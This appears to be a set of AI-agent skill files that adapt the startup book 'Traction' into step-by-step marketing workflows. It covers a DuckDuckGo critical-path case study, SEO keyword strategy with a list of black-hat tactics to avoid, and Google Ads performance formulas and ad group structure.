- `clawhub install bookforge-bullseye-channel-selection` — The critical path's traction milestones often include channel selection
- `clawhub install bookforge-startup-traction-strategy-by-phase` — The critical path goal should match the startup's current phase
- `clawhub install bookforge-business-development-pipeline` — BD deals are frequently critical path milestones
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/duckduckgo-cascade.md
# DuckDuckGo Critical Path Cascade
Gabriel Weinberg's account of how DuckDuckGo used the critical path framework across three sequential traction goals over 6+ years.
## The Three Sequential Goals
**Goal 1 (early years, ~2008-2010):** Product and messaging stable enough that users switch as their primary search engine and stick. This was essentially a product-market-fit milestone expressed as a retention threshold.
**Goal 2 (~2011-2013):** 100 million searches per month. This was the break-even threshold — enough volume to monetize sustainably. Roughly 2 years of work.
**Goal 3 (~2014+):** 1% of the general search market. This was the mainstream-adoption threshold — visible enough that media, competitors, and users treated DuckDuckGo as a credible search engine. Another ~2 years.
## The Filtered Milestones for Goal 2
Working backwards from "100 million searches/month":
- Faster page speed (retention + perception)
- Compelling mobile offering (mobile was rising share of searches)
- Broadcast TV coverage (biggest single-event traffic driver for search engines)
## The Exclusion Log for Goal 2
Features that users kept asking for but were EXCLUDED from the critical path for Goal 2:
- **Image search** — users wanted it, but it wasn't strictly necessary to reach 100M searches/month at the current user base. Deferred.
- **Auto-suggest** — similar reasoning. Useful but not necessary for the specific goal.
- **Articles on tech news sites** — doesn't move the needle at current scale; a TechCrunch feature sends X visitors, but at DuckDuckGo's volume, X is rounding error.
These features came BACK onto the critical path for Goal 3 (1% search market share), because mainstream adoption has less tolerance for missing basic features than early-adopter usage does.
## The Key Insights
1. **The same feature can be on-path for one goal and off-path for another.** Image search was off-path for Goal 2, on-path for Goal 3. The goal determines the path, not vice versa.
2. **Goals take years.** DuckDuckGo's goals each took approximately 2 years to achieve. This is not unusual. Ambitious traction goals are measured in years, not months.
3. **The founder's job is to hold the line.** Gabriel's role for those years was largely to say "no" to everything not on the current goal's critical path. Most search startups died because they couldn't hold that line.
4. **Patient differentiation can take 4+ years to pay off.** DuckDuckGo's privacy differentiation existed from 2009 but didn't become mainstream until the 2013 NSA leaks. The critical path didn't promise quick returns — it promised that if the milestones were hit, the company would be positioned for whatever external catalyst eventually came.
## The Cascade Pattern
Each goal enables the next. Goal 1 (product-market fit) creates the conditions for Goal 2 (sustainability). Goal 2 creates the conditions for Goal 3 (market share). You don't pick Goal 3 as the initial goal because you can't reach it without Goal 2 first.
## Source
Chapter 5 ("Critical Path") of *Traction* by Gabriel Weinberg and Justin Mares. Weinberg is the author of the book and founder of DuckDuckGo, so the case study comes from direct experience.
Select and execute an SEO strategy using the fat-head vs long-tail binary decision framework. Use whenever a founder or marketer is planning SEO, comparing o...
---
name: seo-channel-strategy
description: "Select and execute an SEO strategy using the fat-head vs long-tail binary decision framework. Use whenever a founder or marketer is planning SEO, comparing organic search strategies, choosing between targeting high-volume category keywords or many low-volume long-tail terms, evaluating keyword difficulty, planning content production for SEO, or avoiding black-hat tactics. Activates on phrases like 'SEO strategy', 'SEO', 'search engine optimization', 'organic search', 'ranking on Google', 'keyword research', 'fat-head', 'long-tail', 'content for SEO', 'Moz', 'keyword difficulty', 'link building', 'SERP', 'backlinks'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/seo-channel-strategy
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [13]
domain: startup-growth
tags: [startup-growth, seo, organic-search, content-marketing, keyword-strategy]
depends-on: [bullseye-channel-selection]
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Product category, competitor list, current SEO metrics"
tools-required: [Read, Write]
tools-optional: [WebFetch, AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for SEO strategy and keyword plans"
discovery:
goal: "Select fat-head vs long-tail SEO strategy and produce an executable plan"
tasks:
- "Determine whether existing search demand exists for the category"
- "Evaluate fat-head keyword feasibility (page-1 ranking, 10% capture test)"
- "Apply the binary fat-head vs long-tail decision"
- "Design keyword evaluation process (Keyword Planner → volume → competition)"
- "Plan content production pipeline for long-tail strategy"
- "Avoid black-hat SEO tactics"
audience:
roles: [startup-founder, growth-marketer, content-marketer]
experience: beginner-to-intermediate
when_to_use:
triggers:
- "User is planning SEO for a new product"
- "Current SEO strategy isn't producing traffic"
- "User is choosing between fat-head and long-tail"
- "Content production for SEO needs prioritization"
prerequisites:
- skill: bullseye-channel-selection
why: "SEO should be selected via Bullseye, especially for new product categories"
not_for:
- "Products with no existing search demand (demand creation, not fulfillment)"
environment:
codebase_required: false
codebase_helpful: false
works_offline: false
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 11
iterations_needed: 0
---
# SEO Channel Strategy
## When to Use
The startup is evaluating SEO as a channel or rebuilding an existing SEO strategy. Before starting, verify:
- There is some existing search demand for the category, OR the user accepts that long-tail-only is the path
- The user can commit to a months-long time horizon (SEO compounds slowly)
- A content production capability exists (in-house or freelance)
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Product category and target audience:** what people might search for
→ Check prompt for: product name, category description, ideal customer
→ If missing, ask: "What does your product do, and who searches for products like yours?"
- **Competitor list:** who else ranks for the relevant terms
→ Check prompt for: competitor names, category incumbents
→ If missing, ask: "Who are the main competitors already ranking for terms in your category?"
### Observable Context
- **Current organic traffic:** if any
- **Domain authority:** new domain vs established
- **Content production capacity:** in-house writers, freelance budget
### Default Assumptions
- Only 10% of clicks go beyond the first 10 search results — page 1 or nothing
- Test fat-head keywords via SEM first before committing to SEO investment
- Long-tail requires template + freelance production pipeline at scale
### Sufficiency Threshold
```
SUFFICIENT: category + audience + competitors known
PROCEED WITH DEFAULTS: category known, use Keyword Planner to discover competitors
MUST ASK: category or product is unknown
```
## Process
Use TodoWrite:
- [ ] Step 1: Check for existing search demand
- [ ] Step 2: Evaluate fat-head feasibility
- [ ] Step 3: Make the binary fat-head vs long-tail decision
- [ ] Step 4: Design keyword evaluation process
- [ ] Step 5: Plan content production pipeline
- [ ] Step 6: Avoid black-hat tactics
### Step 1: Check For Existing Search Demand
**ACTION:** Use Google Keyword Planner (or equivalent tool) to check search volume for category terms. If there's zero or near-zero volume, the category is too new for SEO to work via fat-head. Users need to already be searching for something.
Example disqualifier: Uber in its early days — nobody was searching for "alternatives to taxi cabs via phone app" because the category didn't exist yet. SEO couldn't create that demand.
**WHY:** SEO is demand fulfillment, not demand creation. No search demand = no SEO opportunity. Spending SEO resources on a category nobody searches for produces zero traffic regardless of how perfect the content is.
**IF** no existing search demand → SEO is not a primary channel. Return to Bullseye.
### Step 2: Evaluate Fat-Head Feasibility
**ACTION:** For the category terms with search demand, check:
1. **Monthly search volume** — is it meaningful? Use the 10% capture test: if you captured 10% of monthly searches, would that actually matter for your traction goal?
2. **Competitor strength** — use Open Site Explorer (Moz) or equivalent to check competitor backlink counts. High competitor link counts = very hard to rank on page 1.
3. **Page-1 feasibility** — realistic check. Only 10% of clicks go beyond page 1. Ranking 12 is worthless.
Test fat-head keywords via SEM first: buy a few hundred dollars of Google Ads on the target terms. If they convert well, SEO is worth pursuing. If they don't convert on paid, SEO won't rescue them.
**WHY:** Page-1 ranking is the actual goal, not "ranking." Ranking 2nd or 3rd page produces near-zero traffic. If the competition is too strong for page 1, long-tail is the better strategy. The SEM pre-test is cheap validation — it saves months of SEO work on keywords that wouldn't have converted anyway.
### Step 3: Make the Binary Fat-Head vs Long-Tail Decision
**ACTION:** Based on Steps 1-2, apply the binary decision:
**Fat-Head Strategy** if:
- Existing category search demand is high
- Your product directly describes what people search for
- Competition is beatable (you can plausibly rank on page 1)
- SEM pre-test showed those keywords convert
**Long-Tail Strategy** if:
- Fat-head is too competitive
- Your product has niche use cases or specific buyer personas
- You can produce large volumes of targeted content
- Long-tail aggregates to meaningful volume in your category
Write the strategy decision to `seo-strategy.md`.
**WHY:** The binary is not "do both" — at early stage, you have to commit resources to one or the other. Fat-head requires link building and authority; long-tail requires content production at scale. These are different operational patterns. Splitting effort means under-investing in both. Choose one, execute it, revisit in 6 months.
### Step 4: Design Keyword Evaluation Process
**ACTION:** For the chosen strategy, build a keyword evaluation pipeline:
**Fat-head process:**
1. Use Google Keyword Planner for volumes on category terms
2. Check Google Trends for trajectory and geography
3. Use Open Site Explorer for competitor backlink counts
4. Validate via SEM paid test ($500)
5. If all checks pass → pursue SEO
**Long-tail process:**
1. Use Keyword Planner for long-tail variants (add modifiers like location, use case, persona)
2. Check own analytics for existing long-tail traffic
3. Analyze competitors with `site:domain.com` to see their long-tail coverage
4. Create standard landing page template
5. Hire freelancers to produce targeted content per keyword bucket
6. Add geographic modifiers for local variants
**WHY:** Both strategies need rigorous keyword evaluation — but the rigor is different. Fat-head needs competitive analysis because you're attacking crowded terms. Long-tail needs scale tooling because you're producing hundreds of pages. Designing the process upfront prevents reactive keyword picking.
### Step 5: Plan Content Production Pipeline (Long-Tail)
**ACTION:** If pursuing long-tail, design the production pipeline:
- **Template:** a standard landing page layout that fits every long-tail keyword
- **Freelance sourcing:** Upwork, Elance, specialized content agencies
- **Quality control:** checklist for on-page SEO (title, H1, meta description, word count, internal links)
- **Geographic modifier system:** for local variants, use template + city-specific data
- **Content calendar:** weekly production targets
Long-tail strategy economics: $3-10 per article via freelancers, compounds over time as pages rank.
**WHY:** Long-tail doesn't work without scale. Writing 10 long-tail pages produces 10 visitors/month. Writing 1,000 produces meaningful traffic. The pipeline is what makes 1,000 possible without each page being bespoke. Founders who skip the pipeline write 20 pages manually and give up.
### Step 6: Avoid Black-Hat Tactics
**ACTION:** Document the anti-patterns to avoid — see [references/black-hat-seo.md](references/black-hat-seo.md).
The biggest: **don't buy links.** Buying links is against search engine guidelines and produces severe ranking penalties when detected (which is increasingly reliable).
Other black-hat tactics to avoid: cloaking, keyword stuffing, hidden text, doorway pages, content spinning, comment spam.
**WHY:** Black-hat tactics can work in the short term (which is why they're tempting), but search engines detect and penalize them. The penalty often destroys organic traffic entirely — not just reduces it. "I rarely see startups fail because they didn't have a good idea. Where I see 90% of startups fail is because they can't reach their customers." — Rand Fishkin. Black-hat shortcuts are one of the ways that "can't reach customers" happens.
## Inputs
- Product category
- Target audience
- Competitor list
- Content production capacity
## Outputs
Four markdown files:
1. **`seo-strategy.md`** — Fat-head vs long-tail decision with reasoning
2. **`seo-keyword-plan.md`** — Evaluated keywords with volumes and difficulty
3. **`seo-content-pipeline.md`** — Content production plan (long-tail only)
4. **`seo-avoid-list.md`** — Black-hat tactics to explicitly avoid
## Key Principles
- **SEO is demand fulfillment, not demand creation.** Without existing search volume, SEO can't work. WHY: If nobody searches for what you do, no amount of content will get you traffic. SEO depends on users already looking for something.
- **Page 1 or nothing.** Only 10% of clicks go beyond first 10 results. Ranking 12 is worthless. WHY: Organic click-through drops off precipitously by position. The game is page 1; second page is failure.
- **Test with SEM before investing in SEO.** SEM produces keyword validation in days. SEO takes months. Don't commit to SEO on keywords you haven't validated. WHY: Months of wasted SEO work on non-converting keywords is a common failure. $500 of SEM ads answers "does this convert?" in 2 weeks.
- **Fat-head vs long-tail is binary at early stage.** Pick one. Split effort = under-investment in both. WHY: These strategies have different operational patterns. Link building for fat-head is a different skill and tool set than content production at scale for long-tail.
- **Long-tail needs a pipeline, not one-off writing.** 1,000 pages beats 10 pages. Template + freelancers + quality control. WHY: Long-tail's value is aggregation. 10 pages produces a trickle; 1,000 pages produces traffic. The pipeline is what enables scale.
- **Never buy links.** The penalty is worse than the short-term benefit. WHY: Search engines detect paid links increasingly reliably. The penalty destroys traffic. The short-term gain is not worth the catastrophic long-term risk.
## Examples
**Scenario: New SaaS category with no search demand**
Trigger: "We built AI-powered contract review for small law firms. Nobody searches for 'AI contract review for small law firms'. How do we SEO this?"
Process: (1) Check Keyword Planner — zero volume on the specific term. (2) Broaden: "contract review software" has volume but competitors are $50M companies. (3) Long-tail path: "contract review software for small law firms", "AI contract review tool for solo attorneys", "NDA review software". (4) SEM pre-test on 3 long-tail clusters — 2 convert. (5) Long-tail strategy: template landing pages + freelancer pipeline for 50 specific long-tail pages in Q1.
Output: Clear decision that fat-head isn't viable, long-tail path with specific keyword clusters and production plan.
**Scenario: Established category with beatable competitors**
Trigger: "We make a note-taking app. 'Note taking app' has 50k searches/month. Competitors: Evernote, Notion, Apple Notes. Should we do SEO?"
Process: (1) Keyword Planner confirms 50k/month. (2) 10% capture test: 5k visits/month. Meaningful? Depends on conversion — probably yes for early stage. (3) Competitor check: Evernote has 300k backlinks, Notion has 500k, Apple Notes dominates. Page-1 for "note taking app" is impossible without years of link building. (4) Fat-head infeasible → long-tail it is. (5) Long-tail clusters: "note taking app for [profession]", "note taking app with [feature]", "Evernote alternative for [use case]".
Output: Long-tail strategy with specific cluster plan, acknowledgment that fat-head is a 3+ year play.
**Scenario: Buying links temptation**
Trigger: "An agency offered to sell us 100 backlinks from finance blogs for $2,000. Our SEO hasn't been growing. Should we do it?"
Process: (1) Identify this as the black-hat temptation. (2) Explain the penalty: if Google detects paid links (which is increasingly reliable), you lose rankings across the whole site, not just for these keywords. (3) Recovery from penalties takes 3-6 months of disavow work. (4) Calculate expected value: short-term gain 3-month boost × 20% chance it works + long-term penalty worth $50k of lost traffic × 60% chance of detection = catastrophically negative EV. (5) Alternative: invest the $2,000 in 2-3 guest posts on relevant blogs via legitimate outreach.
Output: Clear rejection with EV calculation, alternative white-hat plan.
## References
- For black-hat tactics to avoid and legitimate link-building alternatives, see [references/black-hat-seo.md](references/black-hat-seo.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-bullseye-channel-selection` — Select SEO via Bullseye deliberately
- `clawhub install bookforge-sem-performance-optimization` — Validate SEO keywords with SEM first
- `clawhub install bookforge-content-and-email-marketing` — Content is the long-tail SEO production system
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/black-hat-seo.md
# Black-Hat SEO: Avoid These Tactics
## What "Black-Hat" Means
Any SEO tactic that violates search engine guidelines, typically aimed at producing short-term ranking gains through manipulation.
## Tactics to Avoid
1. **Buying links.** The biggest. Against guidelines. Increasingly detected. Penalty: severe, often full de-ranking.
2. **Cloaking.** Showing different content to search engine crawlers than to users.
3. **Keyword stuffing.** Unnaturally repeating keywords to manipulate ranking.
4. **Hidden text.** White text on white background, off-screen text, CSS-hidden text.
5. **Doorway pages.** Pages built solely for search engines with no user value.
6. **Content spinning.** Using software to rewrite one article into many "unique" variants.
7. **Comment spam.** Dropping links in blog comments to build backlinks.
8. **Private Blog Networks (PBNs).** Self-owned networks of sites existing only to link to your main site.
9. **Link farms.** Joining networks where sites all link to each other.
## Why They Fail Long-Term
- **Detection is increasingly reliable.** Google's algorithms (Panda, Penguin, and successors) specifically target manipulation patterns.
- **Penalties are severe.** Manual actions and algorithmic demotions often remove site from organic search entirely.
- **Recovery is slow.** Disavowing bad links and proving cleanup can take 3-6 months.
- **Trust is hard to rebuild.** Some penalized sites never fully recover.
## Short-Term Temptation
Black-hat can work in the short term — which is why founders are tempted. Example patterns:
- New site ranks quickly after buying 50 backlinks
- Keyword-stuffed pages rank initially
- Comment spam produces some traffic
Then the penalty hits 3-6 months later, and all the work is undone.
## White-Hat Alternatives
What you should do instead:
1. **Create genuinely useful content.** The compounding SEO strategy.
2. **Guest posting on real sites.** Real content, real authors, real audiences.
3. **Digital PR.** Stories picked up by publications naturally include links.
4. **Free tools that earn backlinks.** See Engineering as Marketing — HubSpot Marketing Grader, Moz Followerwonk.
5. **HARO responses.** Journalists cite you, which produces authoritative backlinks.
6. **Broken link building.** Find broken links on target sites, offer your content as a replacement.
7. **Skyscraper content.** Find a topic with great existing content, create something clearly better, outreach to sites linking to the older version.
## The Rand Fishkin Quote
"I rarely see startups fail and crater because they didn't have a good idea... Where I see 90% of startups fail is because they can't reach their customers." Black-hat is one of the ways "can't reach customers" happens — either because the penalty cuts off organic search, or because the short-term gain masks the need to build sustainable acquisition.
## Source
Chapter 12 ("Search Engine Optimization") of *Traction* by Gabriel Weinberg and Justin Mares, citing Rand Fishkin (founder of Moz).
Optimize Search Engine Marketing performance using CTR, CPC, CPA formulas, Quality Score benchmarks, and keyword profitability filtering. Use whenever a foun...
---
name: sem-performance-optimization
description: "Optimize Search Engine Marketing performance using CTR, CPC, CPA formulas, Quality Score benchmarks, and keyword profitability filtering. Use whenever a founder or marketer is running Google Ads, Bing Ads, or any SEM campaign, measuring CAC on paid search, optimizing ad groups, pruning unprofitable keywords, improving Quality Score, testing SEM as a channel, or comparing SEM vs other acquisition channels. Activates on phrases like 'SEM', 'Google Ads', 'AdWords', 'PPC', 'pay-per-click', 'CPC', 'CPA', 'CTR', 'Quality Score', 'keyword optimization', 'paid search', 'ad groups', 'bid strategy', 'search advertising'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/sem-performance-optimization
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [10]
domain: startup-growth
tags: [startup-growth, sem, google-ads, paid-search, performance-marketing]
depends-on: [bullseye-channel-selection]
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Product description, target keywords, current SEM metrics"
tools-required: [Read, Write]
tools-optional: [AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for SEM analysis and optimization plans"
discovery:
goal: "Optimize SEM performance using quantitative formulas and Quality Score benchmarks"
tasks:
- "Calculate current CTR, CPC, CPA per ad group"
- "Evaluate Quality Score against benchmarks (avg 2.0%, low 1.5%)"
- "Apply keyword profitability filter (CPA vs LTV)"
- "Prune unprofitable keywords"
- "Design ad group structure for long-tail expansion"
- "Use Dynamic Keyword Insertion where appropriate"
audience:
roles: [startup-founder, growth-marketer, ppc-specialist]
experience: beginner-to-intermediate
when_to_use:
triggers:
- "User is running Google Ads and wants to improve performance"
- "SEM CAC is too high or climbing"
- "User wants to test SEM as a channel"
- "Keyword list needs pruning"
prerequisites:
- skill: bullseye-channel-selection
why: "SEM should be selected via Bullseye against existing search demand"
not_for:
- "New product categories with no existing search demand"
environment:
codebase_required: false
codebase_helpful: false
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 12
iterations_needed: 0
---
# SEM Performance Optimization
## When to Use
The startup is running SEM and needs to improve performance, or is testing SEM as a new channel. Before starting, verify:
- There is existing search demand for the category (SEM is demand fulfillment, not demand creation)
- The user has or can access basic SEM metrics (spend, clicks, conversions)
- The goal is CAC-positive customer acquisition, not brand awareness
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Current SEM metrics or test hypothesis:** spend, clicks, conversions, CPA
→ Check prompt for: "spending X on ads", CTR numbers, CPC numbers
→ If missing, ask: "What are your current SEM metrics? Spend, clicks, conversions — even rough numbers."
- **Unit economics:** CAC target and LTV
→ Check prompt for: "CAC should be X", "LTV is Y", "customer value"
→ If missing, ask: "What's your approximate customer LTV? And what CAC is acceptable?"
### Observable Context
- **Keyword categories:** category terms (fat-head) vs specific queries (long-tail)
- **Competitor SEM activity:** how crowded the space is
### Default Assumptions
- Average AdWords CTR benchmark: 2.0%
- Low Quality Score threshold: CTR < 1.5% (Google penalizes these)
- Initial test budget: $250-$500 per keyword cluster
- 3:1 LTV:CAC ratio minimum for sustainable channel
### Sufficiency Threshold
```
SUFFICIENT: metrics + unit economics known
PROCEED WITH DEFAULTS: metrics known, use 3:1 LTV:CAC as heuristic
MUST ASK: no SEM metrics or hypothesis at all
```
## Process
Use TodoWrite:
- [ ] Step 1: Calculate current performance (CTR, CPC, CPA)
- [ ] Step 2: Evaluate Quality Score against benchmarks
- [ ] Step 3: Apply profitability filter (CPA vs LTV)
- [ ] Step 4: Prune unprofitable keywords
- [ ] Step 5: Expand to long-tail and restructure ad groups
### Step 1: Calculate Current Performance
**ACTION:** For each ad group, calculate the three core SEM metrics:
- **CTR (Click-Through Rate)** = clicks / impressions × 100
- **CPC (Cost Per Click)** = spend / clicks
- **CPA (Cost Per Acquisition)** = CPC / conversion_percentage, or spend / conversions
Worked example: 100 impressions, 3 clicks → CTR 3%. $1 CPC with 10% conversion → CPA = $1 / 0.10 = $10.
Write current metrics per ad group to `sem-baseline.md`.
**WHY:** Optimization without baseline metrics is guessing. The three formulas are the universal measurement framework — every SEM decision ultimately traces back to one of these numbers. Founders who skip the baseline and jump to "optimize my ads" produce random changes with random results.
### Step 2: Evaluate Quality Score Against Benchmarks
**ACTION:** Check CTR against Google's Quality Score benchmarks:
- **Average CTR benchmark: 2.0%** — this is the rough AdWords average
- **Low threshold: 1.5%** — below this, Google assigns low Quality Score → worse ad placements AND higher CPC
For each ad group with CTR < 1.5%, flag it. You're in a Quality Score penalty spiral: low CTR → low Quality Score → higher CPC → worse ROI.
**WHY:** Quality Score is a multiplicative effect. An ad with CTR of 1% doesn't just get worse performance — Google charges more per click AND shows the ad less often. This is a doom loop that only gets worse unless fixed. The 1.5% threshold is where the penalty kicks in hard.
**IF** CTR is 1.5-2.0% → rewrite ad copy for relevance, use Dynamic Keyword Insertion.
**IF** CTR is below 1.5% → consider pausing the ad group entirely while you rewrite.
### Step 3: Apply Keyword Profitability Filter
**ACTION:** For each keyword, calculate: **Is CPA less than LTV × profit margin?**
Formula: profitable keyword = CPA < LTV_margin
Example: LTV = $300, 30% margin = $90 profit per customer. If CPA > $90, the keyword is losing money.
Keywords are profitable in three bands:
- **Highly profitable** (CPA < 30% of LTV margin) — scale spend
- **Marginally profitable** (CPA 30-100% of LTV margin) — optimize or maintain
- **Unprofitable** (CPA > LTV margin) — pause or kill
**WHY:** Founders often compare CPA to product price, not to profit margin. At $99/month product price, a $95 CPA looks fine — until you remember you only make $30 profit per month and the customer churns in 8 months. True profitability needs margin and retention in the calculation, not just price.
**IF** you don't have retention data → assume 12-month average and adjust as data comes in.
### Step 4: Prune Unprofitable Keywords
**ACTION:** Pause or delete unprofitable keywords identified in Step 3. Be ruthless — a portfolio of 100,000 keywords is not inherently better than 10,000 profitable ones.
Archives.com case study: started with 100,000 keywords, pruned to 50,000 profitable ones. The pruning itself improved average CPA by removing drag from unprofitable keywords that were consuming budget.
Write the pruning list to `sem-pruning.md` with reasons per keyword.
**WHY:** Unprofitable keywords consume budget that could go to profitable ones. Even if you don't scale spend, removing bad keywords redirects the same budget to good keywords, improving overall CPA. The pruning is often the fastest win in an SEM optimization project.
### Step 5: Expand to Long-Tail and Restructure Ad Groups
**ACTION:** For profitable category keywords, expand to long-tail variants:
- Category keyword: "project management software"
- Long-tail variants: "project management software for construction", "cheap project management software", "project management software vs Asana"
Long-tail keywords are less competitive → lower CPC → often higher conversion (more specific intent).
Restructure ad groups by keyword cluster — each tight cluster gets its own ad group with relevant ad copy and landing page. Use Dynamic Keyword Insertion to personalize ads by query.
**WHY:** Broad ad groups mean one ad tries to match 50 different queries — Quality Score suffers because the ad isn't specific enough. Tight ad groups (5-10 related keywords) with custom ad copy produce dramatically higher CTR and lower CPC. This is the single biggest structural win in mature SEM accounts.
## Inputs
- Current SEM metrics (spend, clicks, conversions, per ad group)
- Unit economics (LTV, margin)
- Target keywords or existing keyword list
## Outputs
Four markdown/data files:
1. **`sem-baseline.md`** — CTR, CPC, CPA per ad group
2. **`sem-quality-score-audit.md`** — Ad groups flagged by Quality Score threshold
3. **`sem-pruning.md`** — Unprofitable keywords to pause with reasons
4. **`sem-optimization-plan.md`** — Ad group restructure, long-tail expansion, A/B test queue
## Key Principles
- **CTR below 1.5% is a doom loop.** Fix or pause immediately. WHY: Google penalizes low Quality Score with higher CPC AND lower impressions. Letting a low-CTR ad group run is actively worse than pausing it.
- **Profitable keyword = CPA < LTV margin, not CPA < product price.** WHY: Product price is revenue, not profit. Unit economics depend on margin and retention, not list price. Comparing CPA to price produces keywords that "look profitable" but lose money over the customer lifetime.
- **Prune aggressively.** 10,000 profitable keywords beats 100,000 mixed. WHY: Unprofitable keywords consume the budget that could go to profitable ones. Pruning redirects spend without growing it.
- **Tight ad groups beat broad ad groups.** 5-10 closely-related keywords per ad group with custom copy. WHY: Google's Quality Score rewards relevance. Broad ad groups where one ad tries to match 50 queries tank CTR and raise CPC.
- **Long-tail is where profit lives.** Category terms are competitive and expensive. Long-tail is less competitive AND has higher intent. WHY: "Project management software" has 50 advertisers bidding; "construction project management software for contractors" has 3. Lower competition + higher specificity = better unit economics.
- **Use SEM to validate SEO potential.** If a keyword converts well on paid search, it's worth pursuing on organic search. If it doesn't convert on paid, SEO won't save it. WHY: SEM is fast keyword validation. SEO takes months to rank. Using SEM to test before committing to SEO saves months.
## Examples
**Scenario: SaaS founder with rising CAC**
Trigger: "Our Google Ads CAC was $80 six months ago. Now it's $140. Product price $79/month. What's going on?"
Process: (1) Calculate current metrics by ad group. Find 3 groups with CTR < 1.5% — Quality Score penalty spiral. (2) Unit economics check: $79 × 30% margin × 12 months = $284 LTV profit. $140 CAC is still profitable (LTV:CAC 2:1) but trajectory is wrong. (3) Prune: 15 keywords have CPA > $200 — kill them. (4) Restructure: 3 broad ad groups → 12 tight ad groups with specific copy. (5) Long-tail expansion: add 40 specific variants targeting buyer intent phrases.
Output: Clear diagnosis (Quality Score + bad ad group structure), pruning list, restructuring plan.
**Scenario: Testing SEM as a new channel**
Trigger: "We want to try Google Ads for our B2B analytics tool. $1k test budget. Never run ads before."
Process: (1) Research existing search volume on category terms via Keyword Planner. (2) Check competitor CPCs — if top-of-page bid is $8, $1k gives 125 clicks. (3) Design test: 5 keyword clusters, tight ad groups, 2 ads per group, 1 landing page per cluster. (4) Profitability filter: target CPA < $200 (assuming $50/month × 30% × 12 = $180 LTV profit = need CPA < $180). (5) Test for 2 weeks, measure. If profitable → scale. If not → prune and try long-tail.
Output: Structured first test with clear profitability criteria and scale/abandon decision rule.
**Scenario: Inherited a messy 100k-keyword account**
Trigger: "Took over SEM for a company that has 100,000 keywords across 200 ad groups. CAC is all over the place. Where do I start?"
Process: (1) Export current data — spend, conversions, CPA per keyword/ad group. (2) Apply profitability filter to every row. Identify the 20% of keywords producing 80% of conversions. (3) Quality Score audit — find ad groups in the penalty spiral. (4) Aggressive prune: pause everything unprofitable (expect to cut 30-60% of keywords). (5) Restructure remaining into tight ad groups. (6) Re-test over 2 weeks and compare.
Output: Prioritized cleanup plan, pruning list, restructuring roadmap — the Archives.com pattern of 100k → 50k.
## References
- For ad group structure patterns and Dynamic Keyword Insertion examples, see [references/sem-structure.md](references/sem-structure.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-bullseye-channel-selection` — Select SEM via Bullseye before deep optimization
- `clawhub install bookforge-seo-channel-strategy` — SEO complements SEM for category terms
- `clawhub install bookforge-traction-channel-testing` — CAC/LTV framework applies here
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/sem-structure.md
# SEM Ad Group Structure Patterns
## Tight Ad Groups
Each ad group contains 5-10 closely related keywords. One ad template per group. One landing page per group.
**Example — tight:**
Ad group: "project management construction"
Keywords: project management software construction, construction project management tool, project management app for contractors, pm software construction company, construction pm software
Ad copy: Headline uses Dynamic Keyword Insertion → "{Keyword: Construction PM Software} Built For Contractors"
Landing page: /construction-project-management
## Broad Ad Groups (AVOID)
One ad group contains 50+ loosely related keywords. Generic ad copy. Generic landing page.
**Example — broad:**
Ad group: "project management"
Keywords: project management, pm software, project tools, manage projects, project planning, task tracker, etc.
Ad copy: "Manage Your Projects Better"
Landing page: /
**Why broad fails:** Relevance is low → Quality Score is low → CPC is high → CTR is low → doom loop.
## Dynamic Keyword Insertion (DKI)
Syntax: `{Keyword:Default Text}` in ad copy inserts the user's actual query (if it fits) or the default text.
**Example:**
- Ad headline: "{Keyword:Project Software} Built For Teams"
- User searches "construction project software" → Headline becomes "Construction Project Software Built For Teams"
- User searches "too long a query" → Headline falls back to "Project Software Built For Teams"
**When to use:** Tight ad groups where the keywords share a natural headline template.
**When to avoid:** Broad ad groups where DKI produces awkward headlines.
## Recommended Account Structure
```
Account
├── Campaign: Core Category Terms
│ ├── Ad group: [Main category] (5-10 keywords)
│ ├── Ad group: [Main category] - Modifier 1 (5-10)
│ └── Ad group: [Main category] - Modifier 2 (5-10)
├── Campaign: Long-Tail Expansion
│ ├── Ad group: Use case 1 (5-10 keywords)
│ ├── Ad group: Use case 2 (5-10)
│ └── Ad group: Use case 3 (5-10)
└── Campaign: Competitor Terms (if applicable)
└── Ad group: Alternatives to [competitor]
```
## Keyword Match Types
- **Exact match** `[keyword]` — only exact match
- **Phrase match** `"keyword"` — phrase must appear
- **Broad match modifier** `+keyword +phrase` — all modified words must appear
- **Broad match** `keyword` — loose match, use sparingly
For tight control, default to exact and phrase match. Use broad match only in dedicated "discovery" campaigns where you're looking for new keyword ideas.
## Source
Chapter 8 ("Search Engine Marketing") of *Traction* by Gabriel Weinberg and Justin Mares.
